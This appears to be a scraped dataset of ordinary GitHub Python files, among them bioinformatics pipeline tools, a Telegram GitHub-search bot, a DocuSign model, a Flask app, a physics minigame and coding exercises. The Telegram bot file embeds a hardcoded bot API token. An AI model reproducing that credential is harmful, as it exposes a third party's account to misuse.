self.bind_object.logger.info(\"贡献度出现负值,建议重新选择参数运行!\")\n insert_data = {\n 'plsda_id': diff_id,\n 'x': comp,\n 'q2': q2_cum,\n 'r2y': r2y_cum\n }\n data_list.append(insert_data)\n\n try:\n collection = self.db['sample_plsda_bar']\n if len(data_list) > 0:\n collection.insert_many(data_list)\n except Exception as e:\n self.bind_object.set_error(\"导入表格sample_plsda_bar信息出错:%s\" , variables=(e), code=\"54702018\")\n else:\n self.bind_object.logger.info(\"导入表格sample_plsda_bar信息成功!\")\n\n @report_check\n def add_exp_diff_scatter(self, diff_id, pls_dir):\n diff_id = self.check_id(diff_id, \"diff_id\")\n if not os.path.exists(pls_dir):\n self.bind_object.set_error('%s所指定的路径不存在,请检查!', variables=(pls_dir), code=\"54702019\")\n data_list = []\n #groups = os.listdir(pls_dir)\n #mytest = []\n #for eachgroup in groups:\n scatter_files = glob.glob(pls_dir + '/*permMN.xls')\n for eachfile in scatter_files:\n number_r = 0\n number_q = 0\n with open(eachfile, 'rb') as f:\n head = f.next()\n for line in f:\n line = line.strip().split('\\t')\n name = line[0]\n r2y = float(line[0])\n q2 = float(line[1])\n sim = float(line[2])\n insert_data = {\n 'plsda_id': diff_id,\n 'x':sim,\n 'y':r2y,\n 'geom':\"r2\"\n }\n data_list.append(insert_data)\n if sim == 1 and number_r == 0:\n number_r += 1\n insert_data = {\n 'plsda_id': diff_id,\n 'x':sim,\n 'y':r2y,\n 'geom':\"lr\"\n }\n data_list.append(insert_data)\n insert_data = {\n 'plsda_id': diff_id,\n 'x':sim,\n 'y':q2,\n 'geom':\"q2\"\n }\n data_list.append(insert_data)\n if sim == 1 and number_q == 0:\n number_q += 1\n insert_data = {\n 'plsda_id': diff_id,\n 'x':sim,\n 'y':q2,\n 'geom':\"lq\"\n }\n data_list.append(insert_data)\n intercept_files = glob.glob(pls_dir + '/*intercept.xls')\n for eachfile in intercept_files:\n with open(eachfile, \"r\") as f:\n head = f.next()\n r2 = f.next().strip().split(\"\\t\")[1]\n q2 = f.next().strip().split(\"\\t\")[1]\n insert_data = {\n 'plsda_id': diff_id,\n 'x': 0,\n 'y': float(r2),\n 'geom':\"lr\"\n }\n data_list.append(insert_data)\n insert_data = {\n 'plsda_id': diff_id,\n 'x': 0,\n 'y': float(q2),\n 'geom':\"lq\"\n }\n data_list.append(insert_data)\n try:\n collection = self.db['sample_plsda_scatter']\n if len(data_list) > 0:\n collection.insert_many(data_list)\n except Exception as e:\n self.bind_object.set_error(\"导入表格sample_plsda_scatter信息出错:%s\" , variables=(e), code=\"54702021\")\n else:\n self.bind_object.logger.info(\"导入表格sample_plsda_scatter信息成功!\")\n\n @report_check\n def update_table(self, str, name, main_table_id):\n try:\n self.db['sample_plsda'].update_one({'_id': ObjectId(main_table_id)}, {'$set': {str: name}})\n except Exception as e:\n self.bind_object.set_error('更新sample_plsda主表%s字段出错:%s', variables=(str, e), code=\"54702022\")\n\n @report_check\n def check_id(self, object_id, type):\n if not isinstance(object_id, ObjectId):\n if isinstance(object_id, types.StringTypes):\n object_id = ObjectId(object_id)\n else:\n self.bind_object.set_error('%s必须为ObjectId对象或其对应的字符串!', variables=(type), code=\"54702023\")\n return object_id\n","repo_name":"bensonlew/rnawl","sub_path":"src/mbio/api/database/metabolome/sample_plsda.py","file_name":"sample_plsda.py","file_ext":"py","file_size_in_byte":13730,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"34653106739","text":"isbn = [9, 7, 8, 0, 9, 2, 1, 4, 1, 8]\r\n\r\nloop_count = 0\r\n\r\nwhile loop_count < 3:\r\n\r\n num = int(input())\r\n\r\n isbn.append(num)\r\n\r\n loop_count += 1\r\n\r\ncount = 0\r\n\r\nfor x in range(0, len(isbn)):\r\n\r\n if count % 2 == 1:\r\n\r\n isbn[x] *= 3\r\n\r\n count += 1\r\n\r\nisbn_val = 0\r\n\r\nfor x in range(0, len(isbn)):\r\n\r\n isbn_val += isbn[x]\r\n\r\nprint(\"The 1-3-sum is \" + str(isbn_val))\r\n","repo_name":"Dmin7-13/Grade-11","sub_path":"J1 2009.py","file_name":"J1 2009.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6020649810","text":"from aiogram import Bot, Dispatcher, executor, types\r\nimport re\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\n\r\nAPI_TOKEN = '1795364385:AAGFhdEubCq_nwH_6YQoHom5hQIg3DQU-EQ'\r\n\r\n# Initialize bot and dispatcher\r\nbot = Bot(token=API_TOKEN)\r\ndp = Dispatcher(bot)\r\nurls_list = []\r\n\r\n@dp.message_handler(commands=['start'])\r\nasync def welcome(message: types.Message):\r\n await message.reply(\"🖐Welcome to the bot that easily downloads codes from Github! \\nJust type a title to 📥upload the code \")\r\n\r\n@dp.message_handler()\r\nasync def extract_data(message: types.Message):\r\n await message.answer(\"⌛️Wanted on Github ... \")\r\n reg_ex = re.search('(.+)', message.text)\r\n if reg_ex:\r\n domain = reg_ex.group(1)\r\n url = f'https://github.com/search?q={domain}&type='\r\n result_link = None\r\n responce = requests.get(f'{url}').text\r\n soup = BeautifulSoup(responce, 'lxml')\r\n block = soup.find('div', class_='position-relative js-header-wrapper ')\r\n all_topics = soup.find_all('div',class_=\"f4 text-normal\")\r\n\r\n for topic in all_topics:\r\n topic_link = topic.find('a').get('href')\r\n print(topic_link)\r\n url = f'https://github.com/{topic_link}'\r\n download_storage = requests.get(f'{url}').text\r\n soup = BeautifulSoup(download_storage, 'lxml')\r\n download_block = soup.find('span', class_='d-none d-md-flex ml-2')\r\n code = soup.find_all('li',class_='Box-row Box-row--hover-gray p-0')\r\n\r\n for kod in code:\r\n result_link = kod.find('a', class_='d-flex flex-items-center color-text-primary text-bold no-underline p-3').get('href')\r\n file_bytes = requests.get(f'https://github.com/{result_link}').content\r\n with open(f\"codes/{domain}.zip\",'wb') as file:\r\n file.write(file_bytes)\r\n await message.answer(f'✅The code was loaded successfully \\n\\nhttps://github.com/{result_link}')\r\n\r\nif __name__ == '__main__':\r\n executor.start_polling(dp, skip_updates=True) \r\n","repo_name":"ravshanbekio/github-finder","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2009,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"28156138121","text":"# -*- coding: utf-8 -*-\nimport logging\nimport os\nimport sys\n\nsys.path.append(os.path.join(os.path.dirname(__file__), '.', 'config'))\nfrom config import Config as cfg\n\ncf = cfg().load_config_file()['logging']\n# Set the message format\n\nformat = logging.Formatter(\"%(levelname)s %(name)-10s %(asctime)s %(message)s\")\n# Create a handler that prints ERROR level messages to stderr\nerr_hand = logging.StreamHandler(sys.stderr)\nerr_hand.setLevel(logging.ERROR)\nerr_hand.setFormatter(format)\n# Create a handler that prints messages to a file\napplog_hand = logging.FileHandler(cf['handler_applog']['args'])\napplog_hand.setFormatter(format)\n# Create a top-level logger called 'app'\napp_log = logging.getLogger(cf['loggers']['keys'][1])\napp_log.setLevel(logging.INFO)\napp_log.addHandler(applog_hand)\napp_log.addHandler(err_hand)\n","repo_name":"stefan-rz/Tap-News","sub_path":"config/applogconfig.py","file_name":"applogconfig.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"82"} +{"seq_id":"73955028747","text":"# coding: utf-8\n\n\"\"\"\n DocuSign REST API\n\n The DocuSign REST API provides you with a powerful, convenient, and simple Web services API for interacting with DocuSign. # noqa: E501\n\n OpenAPI spec version: v2.1\n Contact: devcenter@docusign.com\n Generated by: https://github.com/swagger-api/swagger-codegen.git\n\"\"\"\n\n\nimport pprint\nimport re # noqa: F401\n\nimport six\n\nfrom docusign_esign.client.configuration import Configuration\n\n\nclass Notary(object):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n\n \"\"\"\n Attributes:\n swagger_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n swagger_types = {\n 'created_date': 'str',\n 'enabled': 'str',\n 'searchable': 'str',\n 'user_info': 'UserInformation'\n }\n\n attribute_map = {\n 'created_date': 'createdDate',\n 'enabled': 'enabled',\n 'searchable': 'searchable',\n 'user_info': 'userInfo'\n }\n\n def __init__(self, _configuration=None, **kwargs): # noqa: E501\n \"\"\"Notary - a model defined in Swagger\"\"\" # noqa: E501\n if _configuration is None:\n _configuration = Configuration()\n self._configuration = _configuration\n\n self._created_date = None\n self._enabled = None\n self._searchable = None\n self._user_info = None\n self.discriminator = None\n\n setattr(self, \"_{}\".format('created_date'), kwargs.get('created_date', None))\n setattr(self, \"_{}\".format('enabled'), kwargs.get('enabled', None))\n setattr(self, \"_{}\".format('searchable'), kwargs.get('searchable', None))\n setattr(self, \"_{}\".format('user_info'), kwargs.get('user_info', None))\n\n @property\n def created_date(self):\n \"\"\"Gets the created_date of this Notary. # noqa: E501\n\n # noqa: E501\n\n :return: The created_date of this Notary. # noqa: E501\n :rtype: str\n \"\"\"\n return self._created_date\n\n @created_date.setter\n def created_date(self, created_date):\n \"\"\"Sets the created_date of this Notary.\n\n # noqa: E501\n\n :param created_date: The created_date of this Notary. # noqa: E501\n :type: str\n \"\"\"\n\n self._created_date = created_date\n\n @property\n def enabled(self):\n \"\"\"Gets the enabled of this Notary. # noqa: E501\n\n # noqa: E501\n\n :return: The enabled of this Notary. # noqa: E501\n :rtype: str\n \"\"\"\n return self._enabled\n\n @enabled.setter\n def enabled(self, enabled):\n \"\"\"Sets the enabled of this Notary.\n\n # noqa: E501\n\n :param enabled: The enabled of this Notary. # noqa: E501\n :type: str\n \"\"\"\n\n self._enabled = enabled\n\n @property\n def searchable(self):\n \"\"\"Gets the searchable of this Notary. # noqa: E501\n\n # noqa: E501\n\n :return: The searchable of this Notary. # noqa: E501\n :rtype: str\n \"\"\"\n return self._searchable\n\n @searchable.setter\n def searchable(self, searchable):\n \"\"\"Sets the searchable of this Notary.\n\n # noqa: E501\n\n :param searchable: The searchable of this Notary. # noqa: E501\n :type: str\n \"\"\"\n\n self._searchable = searchable\n\n @property\n def user_info(self):\n \"\"\"Gets the user_info of this Notary. # noqa: E501\n\n Information about the user registering to be a notary. # noqa: E501\n\n :return: The user_info of this Notary. # noqa: E501\n :rtype: UserInformation\n \"\"\"\n return self._user_info\n\n @user_info.setter\n def user_info(self, user_info):\n \"\"\"Sets the user_info of this Notary.\n\n Information about the user registering to be a notary. # noqa: E501\n\n :param user_info: The user_info of this Notary. # noqa: E501\n :type: UserInformation\n \"\"\"\n\n self._user_info = user_info\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n if issubclass(Notary, dict):\n for key, value in self.items():\n result[key] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, Notary):\n return False\n\n return self.to_dict() == other.to_dict()\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n if not isinstance(other, Notary):\n return True\n\n return self.to_dict() != other.to_dict()\n","repo_name":"docusign/docusign-esign-python-client","sub_path":"docusign_esign/models/notary.py","file_name":"notary.py","file_ext":"py","file_size_in_byte":5719,"program_lang":"python","lang":"en","doc_type":"code","stars":87,"dataset":"github-code","pt":"82"} +{"seq_id":"8070688228","text":"import pyxel\nimport pymunk\nimport random\nimport Space\n'''\nThings to maybe do:\n- Improve ball movement\n'''\n\n\nclass BallNChain():\n def __init__(self):\n # Initial Minigame Properties\n self.practice = False\n self.running = False\n self.name = \"BallNChain\"\n self.win = False\n # Space init\n self.Space = pymunk.Space()\n self.Space.damping = 0.96\n # Collision Types\n self.collisionTypes = {\"ball\": 1, \"target\": 2,\n \"player\": 3, \"wall\": 4}\n # Player Init\n self.player = pymunk.Body(mass=10000, moment=float(\"inf\"))\n vertices = [(0, 0), (0, 7), (7, 7), (7, 0)]\n playerShape = pymunk.Poly(self.player, vertices)\n playerShape.collision_type = self.collisionTypes[\"player\"]\n # Target Init\n self.targets, targetShape = [[], []]\n for i in range(3):\n self.targets.append(pymunk.Body(mass=50, moment=10,\n body_type=pymunk.Body.KINEMATIC))\n targetShape.append(pymunk.Circle(body=self.targets[i], radius=5))\n targetShape[i].collision_type = self.collisionTypes[\"target\"]\n # Ball Init\n self.ball = pymunk.Body(mass=5, moment=float(\"inf\"))\n ballShape = pymunk.Circle(body=self.ball, radius=5, offset=[5, 5])\n ballShape.collision_type = self.collisionTypes[\"ball\"]\n ballShape.elasticity = 0.8\n # Chain Init\n chain = pymunk.SlideJoint(self.ball, self.player,\n (0, 0), (0, 0), 0, 50)\n # Walls Init\n origin1 = (-1, -1)\n origin2 = (182, 122)\n walls = [pymunk.Segment(self.Space.static_body, origin1, (-1, 121), 2),\n pymunk.Segment(self.Space.static_body, origin1, (181, -1), 2),\n pymunk.Segment(self.Space.static_body, origin2, (182, -1), 2),\n pymunk.Segment(self.Space.static_body, origin2, (-1, 122), 2)]\n for i in range(4):\n walls[i].elasticity = 0.8\n walls[i].collision_type = self.collisionTypes[\"wall\"]\n # Space Add\n self.Space.add(self.ball, self.player, *self.targets,\n playerShape, ballShape, *targetShape, *walls,\n chain)\n # Ball Target CollisionHandler\n BallTarget = self.Space.add_collision_handler(\n self.collisionTypes[\"ball\"],\n self.collisionTypes[\"target\"])\n BallTarget.begin = Space.BallTarget\n # Wall Target CollisionHandler\n WallTarget = self.Space.add_collision_handler(\n self.collisionTypes[\"wall\"],\n self.collisionTypes[\"target\"])\n WallTarget.begin = Space.WallTarget\n # Player Target CollisionHandler\n PlayerTarget = self.Space.add_collision_handler(\n self.collisionTypes[\"player\"],\n self.collisionTypes[\"target\"])\n PlayerTarget.begin = Space.PlayerTarget\n # Player Ball CollisionHandler\n PlayerTarget = self.Space.add_collision_handler(\n self.collisionTypes[\"player\"],\n self.collisionTypes[\"ball\"])\n PlayerTarget.begin = Space.PlayerBall\n\n def start(self, difficulty=1, practice=False, mute=False):\n # Modifiers\n self.practice = practice\n self.ball.mute = mute\n # Initial Positions\n self.targets[0].position = (-10*5, random.randint(5, 115))\n self.targets[1].position = (random.randint(5, 175), -10*10)\n self.targets[2].position = (180+10*15, random.randint(5, 115))\n self.player.position = [50, 50]\n self.ball.position = [50, 60]\n # Initial velocities\n self.targets[0].velocity = (0.1 + 0.1*difficulty, 0)\n self.targets[1].velocity = (0, 0.1 + 0.1*difficulty)\n self.targets[2].velocity = (-0.1 - 0.1*difficulty, 0)\n self.ball.velocity = (0, 0)\n self.player.velocity = (0, 0)\n # Obstacle colors\n self.targets[0].color = pyxel.COLOR_WHITE\n self.targets[1].color = pyxel.COLOR_WHITE\n self.targets[2].color = pyxel.COLOR_WHITE\n self.vx, self.vy = (0, 100)\n # Start running\n self.running = True\n\n def update(self):\n # Player\n x, y = self.player.velocity\n if pyxel.btn(pyxel.KEY_LEFT):\n if x > -2:\n x -= 0.5\n if pyxel.btn(pyxel.KEY_RIGHT):\n if x < 2:\n x += 0.5\n if pyxel.btn(pyxel.KEY_DOWN):\n if y < 2:\n y += 0.5\n if pyxel.btn(pyxel.KEY_UP):\n if y > -2:\n y -= 0.5\n\n self.player.velocity = [x, y]\n\n # Win\n if (self.targets[0].color == self.targets[1].color\n and self.targets[0].color == self.targets[2].color\n and self.targets[0].color == pyxel.COLOR_BLACK):\n self.win = True\n self.running = False\n # Lose\n if (self.targets[0].position[0] > 185\n or self.targets[1].position[1] > 125\n or self.targets[2].position[0] < -5\n or self.player.position[0] < 0):\n self.win = False\n self.running = False\n # Step\n self.Space.step(0.5)\n self.Space.step(0.5)\n\n def draw(self):\n pyxel.load(\"assets.pyxres\")\n pyxel.cls(0)\n # Draw Targets\n pyxel.circ(*self.targets[0].position, 5, self.targets[0].color)\n pyxel.circ(*self.targets[1].position, 5, self.targets[1].color)\n pyxel.circ(*self.targets[2].position, 5, self.targets[2].color)\n # Draw Instruction\n pyxel.text(75, 0, \"Destroy !\", pyxel.COLOR_YELLOW)\n # Draw Chain\n ballCx, ballCy = self.ball.position+[5, 5]\n playerC = self.player.position+[3, 4]\n pyxel.line(ballCx, ballCy, *playerC, pyxel.COLOR_GRAY)\n # Draw Player\n pyxel.blt(*self.player.position, 0, 5, 2, 7, 7, pyxel.COLOR_WHITE)\n # Draw Ball\n pyxel.blt(*self.ball.position, 0, 19, 4, 11, 11, pyxel.COLOR_WHITE)\n","repo_name":"Gabriel-Azevedo-Batalha/FisWare","sub_path":"BallNChain.py","file_name":"BallNChain.py","file_ext":"py","file_size_in_byte":6048,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"40597640815","text":"# -*- coding: utf-8 -*-\n# __author__ = 'wangzhaoyue, qinjincheng'\n\nfrom biocluster.agent import Agent\nfrom biocluster.core.exceptions import OptionError\nfrom biocluster.tool import Tool\nimport os\nimport unittest\n\nclass CuffmergeAgent(Agent):\n '''\n last_modify: 2019.02.11\n '''\n def __init__(self, parent):\n super(CuffmergeAgent, self).__init__(parent)\n options = [\n {'name': 'cpu', 'type': 'int', 'default': 2},\n {'name': 'gtf_list', 'type': 'infile', 'format': 'lnc_rna.common'},\n {'name': 'ref_gtf', 'type': 'infile', 'format': 'lnc_rna.gtf'},\n {'name': 'ref_fa', 'type': 'infile', 'format': 'lnc_rna.fasta'},\n {'name': 'min_isoform_fraction', 'type': 'float', 'default': 0.1},\n {'name': 'merged_gtf', 'type': 'outfile', 'format': 'lnc_rna.gtf'},\n {'name': 'merged_fa', 'type': 'outfile', 'format': 'lnc_rna.fasta'},\n ]\n self.add_option(options)\n self.step.add_steps('cuffmerge')\n self.on('start', self.stepstart)\n self.on('end', self.stepfinish)\n\n def stepstart(self):\n self.step.cuffmerge.start()\n self.step.update()\n\n def stepfinish(self):\n self.step.cuffmerge.finish()\n self.step.update()\n\n def check_options(self):\n self.logger.info('start check_options at {}'.format(self.__class__.__name__))\n self.logger.debug('{} - {}'.format('cpu', self.option('cpu')))\n if self.option('cpu') == '':\n raise OptionError('number of threads must be specified')\n self.logger.debug('{} - {}'.format('gtf_list', self.option('gtf_list').prop['path']))\n if not self.option('gtf_list').is_set:\n raise OptionError('GTF list file must be provided')\n self.logger.debug('{} - {}'.format('ref_gtf', self.option('ref_gtf').prop['path']))\n if not self.option('ref_gtf').is_set:\n raise OptionError('reference annotation GFF must be provided')\n self.logger.debug('{} - {}'.format('ref_fa', self.option('ref_fa').prop['path']))\n if not self.option('ref_fa').is_set:\n raise OptionError('genomic seqs FASTA must be provided')\n self.logger.debug('{} - {}'.format('min_isoform_fraction', self.option('min_isoform_fraction')))\n if self.option('min_isoform_fraction') == '':\n raise OptionError('minimum isoform fraction must be specified')\n\n def set_resource(self):\n self._cpu = self.option('cpu')\n self._memory = '16G'\n\n def end(self):\n super(CuffmergeAgent, self).end()\n\nclass CuffmergeTool(Tool):\n def __init__(self, config):\n super(CuffmergeTool, self).__init__(config)\n self.set_environ(PATH=os.path.join(self.config.SOFTWARE_DIR, 'bioinfo/rna/cufflinks-2.2.1'))\n self.cuffmerge = 'bioinfo/rna/cufflinks-2.2.1/cuffmerge'\n self.gffread = 'bioinfo/rna/cufflinks-2.2.1/gffread'\n self.merged_asm = os.path.join(self.work_dir, 'merged_asm')\n self.merged_gtf = os.path.join(self.merged_asm, 'merged.gtf')\n self.merged_fa = os.path.join(self.work_dir, 'merged.fa')\n\n def run(self):\n super(CuffmergeTool, self).run()\n self.run_cuffmerge()\n self.run_gffread()\n self.set_output()\n self.end()\n\n def run_cuffmerge(self):\n cmd = '{} {} --keep-tmp'.format(self.cuffmerge, self.option('gtf_list').prop['path'])\n cmd += ' -o {}'.format(self.merged_asm)\n cmd += ' -g {}'.format(self.option('ref_gtf').prop['path'])\n cmd += ' -s {}'.format(self.option('ref_fa').prop['path'])\n cmd += ' --min-isoform-fraction {}'.format(self.option('min_isoform_fraction'))\n cmd += ' -p {}'.format(self.option('cpu'))\n cmd_name = 'run_cuffmerge'\n self.run_code(cmd_name, cmd)\n\n def run_gffread(self):\n cmd = '{} {}'.format(self.gffread, self.merged_gtf)\n cmd += ' -g {}'.format(self.option('ref_fa').prop['path'])\n cmd += ' -w {}'.format(self.merged_fa)\n cmd_name = 'run_gffread'\n self.run_code(cmd_name, cmd)\n\n def run_code(self, cmd_name, cmd):\n command = self.add_command(cmd_name, cmd)\n command.run()\n self.wait()\n if command.return_code == 0:\n self.logger.info('succeed in running {}'.format(cmd_name))\n elif command.return_code is None:\n self.logger.warn('fail to run {}, try again'.format(cmd_name))\n command.rerun()\n self.wait()\n if command.return_code is 0:\n self.logger.info('succeed in rerunning {}'.format(cmd_name))\n else:\n self.set_error('fail to rerun {}, abord'.format(cmd_name))\n else:\n self.set_error('fail to run {}, abord'.format(cmd_name))\n\n def set_output(self):\n self.logger.info('start set_output at {}'.format(self.__class__.__name__))\n merged_gtf = os.path.join(self.output_dir, 'merged.gtf')\n if os.path.exists(merged_gtf):\n os.remove(merged_gtf)\n os.link(self.merged_gtf, merged_gtf)\n self.logger.info('succeed in linking {} to {}'.format(self.merged_gtf, merged_gtf))\n self.option('merged_gtf', merged_gtf)\n merged_fa = os.path.join(self.output_dir, 'merged.fa')\n if os.path.exists(merged_fa):\n os.remove(merged_fa)\n os.link(self.merged_fa, merged_fa)\n self.logger.info('succeed in linking {} to {}'.format(self.merged_fa, merged_fa))\n self.option('merged_fa', merged_fa)\n self.logger.info('finish set_output at {}'.format(self.__class__.__name__))\n\nclass TestFunction(unittest.TestCase):\n '''\n This is test for the tool. Just run this script to do test.\n '''\n def test_hsa(self):\n import random\n from mbio.workflows.single import SingleWorkflow\n from biocluster.wsheet import Sheet\n data = {\n 'id': 'cuffmerge_{}_{}'.format(random.randint(1000, 10000), random.randint(1000, 10000)),\n 'type': 'tool',\n 'name': 'lnc_rna.assemble.cuffmerge',\n 'instant': False,\n 'options': {\n 'gtf_list': '/mnt/ilustre/users/isanger/sg-users/qinjincheng/lnc_rna/assemble/cuffmerge/gtf.list',\n 'ref_gtf': '/mnt/ilustre/users/sanger-dev/app/database/Genome_DB_finish/vertebrates/Homo_sapiens/Ensemble_release_89/gtf/Homo_sapiens.GRCh38.89.gtf',\n 'ref_fa': '/mnt/ilustre/users/sanger-dev/app/database/Genome_DB_finish/vertebrates/Homo_sapiens/Ensemble_release_89/dna/Homo_sapiens.GRCh38.dna_rm.toplevel.clean.fa',\n }\n }\n wsheet = Sheet(data=data)\n wf = SingleWorkflow(wsheet)\n wf.run()\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"bensonlew/rnawl","sub_path":"src/mbio/tools/lnc_rna/assemble/cuffmerge.py","file_name":"cuffmerge.py","file_ext":"py","file_size_in_byte":6741,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"4761651976","text":"class Solution:\n def removeInterval(self, intervals: List[List[int]], toBeRemoved: List[int]) -> List[List[int]]:\n res = []\n l, r = toBeRemoved[0], toBeRemoved[1]\n for s, e in intervals:\n if e <= l or s >= r:\n res.append([s, e])\n else:\n if s < l:\n res.append([s, l])\n if e > r:\n res.append([r, e])\n return res\n ","repo_name":"KOPFYF/LCEveryday","sub_path":"Array/meeting rooms/removeinterval1272.py","file_name":"removeinterval1272.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38221617696","text":"from flask import render_template, redirect, url_for, flash\nfrom flask_app import robots_app, db\nfrom flask_app.models import User\nfrom flask_app.forms import AddUser, Login\n\n\n@robots_app.route('/')\ndef show_users():\n users = [user for user in User.query.all()]\n specific_user = User.query.filter_by(city='Roscoeview').first()\n first_5 = User.query.limit(5).all()\n start_with_5 = User.query.filter(User.zipcode.startswith('5')).all()\n return render_template('index.html', users=users, specific_user=specific_user,\n start_with_5=start_with_5, first_5=first_5)\n\n\n@robots_app.route('/login', methods=(\"GET\", \"POST\"))\ndef login():\n login_form = Login()\n if login_form.validate_on_submit():\n name = login_form.name.data\n city = login_form.city.data\n print(name, city)\n user = User.query.filter((User.name == name) & (User.city == city)).first()\n print(user)\n if user is not None:\n flash('You are successfully logged in', \"success\")\n return redirect(url_for('show_users'))\n else:\n flash(\"User doesn't exit, create one.\", \"error\")\n return redirect(url_for('add_user'))\n return render_template('login.html', form=login_form)\n\n\n@robots_app.route('/add_user', methods=(\"GET\", \"POST\"))\ndef add_user():\n add_user_form = AddUser()\n if add_user_form.validate_on_submit(): # Check if the form has been filled\n\n name = add_user_form.user_name.data # Get\n street = add_user_form.street.data # The\n city = add_user_form.city.data # Data\n zipcode = add_user_form.zipcode.data # Data\n\n print(\"Here is what I got from the form:\")\n print(\"username:\", name)\n print(\"street:\", street)\n print(\"city:\", city)\n print(\"zipcode:\", zipcode)\n # Do something with the data\n model = User(name=name, street=street, city=city, zipcode=zipcode)\n db.session.add(model)\n db.session.commit()\n\n return redirect('/')\n return render_template('add_user.html', form=add_user_form)\n\n\n\n","repo_name":"gbedad/diexs","sub_path":"week_13/day_2/mini_project_user/flask_app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7550662163","text":"#!/bin/python3\r\n\r\nimport math\r\nimport os\r\nimport random\r\nimport re\r\nimport sys\r\n\r\n#\r\n# Complete the 'breakingRecords' function below.\r\n#\r\n# The function is expected to return an INTEGER_ARRAY.\r\n# The function accepts INTEGER_ARRAY scores as parameter.\r\n#\r\n\r\ndef breakingRecords(scores):\r\n # Write your code here\r\n # notice no list being used here! \r\n\r\n high_score = -1\r\n low_score = 100000001\r\n\r\n high_score_count = 0\r\n low_score_count = 0\r\n\r\n for i in scores:\r\n if i > high_score:\r\n high_score = i\r\n high_score_count += 1\r\n if i < low_score:\r\n low_score = i\r\n low_score_count += 1\r\n # print(high_score)\r\n a = high_score_count - 1\r\n # print(low_score)\r\n b = low_score_count - 1\r\n\r\n # print final results\r\n print(f\"{a} {b}\")\r\nif __name__ == '__main__':\r\n n = int(input().strip())\r\n\r\n scores = list(map(int, input().rstrip().split()))\r\n\r\n result = breakingRecords(scores)\r\n","repo_name":"mikecwikielnik/HackerRank","sub_path":"Problem Solving/Algorithms/implementation/breakingTheRecords.py","file_name":"breakingTheRecords.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"25418215130","text":"import braintree\nimport os\nimport requests\n\n\nclass Core:\n def __init__(self):\n self.gateway = braintree.BraintreeGateway(\n braintree.Configuration(\n braintree.Environment.Production,\n merchant_id=os.getenv('BRAINTREE_MERCHANT_ID'),\n public_key=os.getenv('BRAINTREE_PUBLIC_KEY'),\n private_key=os.getenv('BRAINTREE_PRIVATE_KEY')\n )\n )\n self.kount_url = os.getenv('KOUNT_URL')\n self.kount_api_key = os.getenv('KOUNT_API_KEY')\n\n # query the Kount service\n def get_kount(self, trx_id):\n if not trx_id:\n return\n\n path = '/rpc/v1/orders/detail.json'\n response = requests.get(self.kount_url + path,\n params={'trid': trx_id},\n headers={'x-kount-api-key': self.kount_api_key})\n\n if response.status_code != 200:\n return\n\n data = response.json()\n return data['result']\n\n def search(self, verification_id):\n if not verification_id:\n return []\n\n collection = self.gateway.verification.search(\n braintree.CreditCardVerificationSearch.id == verification_id\n )\n\n res = []\n for verification in collection.items:\n if verification.risk_data:\n kount = self.get_kount(verification.risk_data.id)\n\n res.append({'status': verification.status,\n 'created_at': verification.created_at,\n 'risk_data': {'id': verification.risk_data.id,\n 'decision': verification.risk_data.decision},\n 'kount': kount\n })\n else:\n res.append({'status': verification.status,\n 'created_at': verification.created_at,\n 'risk_data': 'null'})\n\n return res\n\n\ndef query(id):\n s = Core()\n return s.search(id)\n","repo_name":"luzcn/braintree-search","sub_path":"search/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":2038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30038911514","text":"class Solution(object):\n def increasingTriplet(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: bool\n \"\"\"\n n = len(nums)\n if n < 3:\n return False\n a = [0, 0]\n a[0] = nums[0]\n for i in range(1, n):\n if a[0] < nums[i]:\n a[0] = nums[i]\n a[1] = a[0]\n for i in range(0, n):\n if nums[i] <= a[0]:\n a[0] = nums[i]\n elif nums[i] < a[1]:\n a[1] = nums[i]\n if nums[i] > a[0] and nums[i] > a[1]:\n return True\n return False\n","repo_name":"tianlu1677/leetcode","sub_path":"IncreasingTripletSubsequence/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} 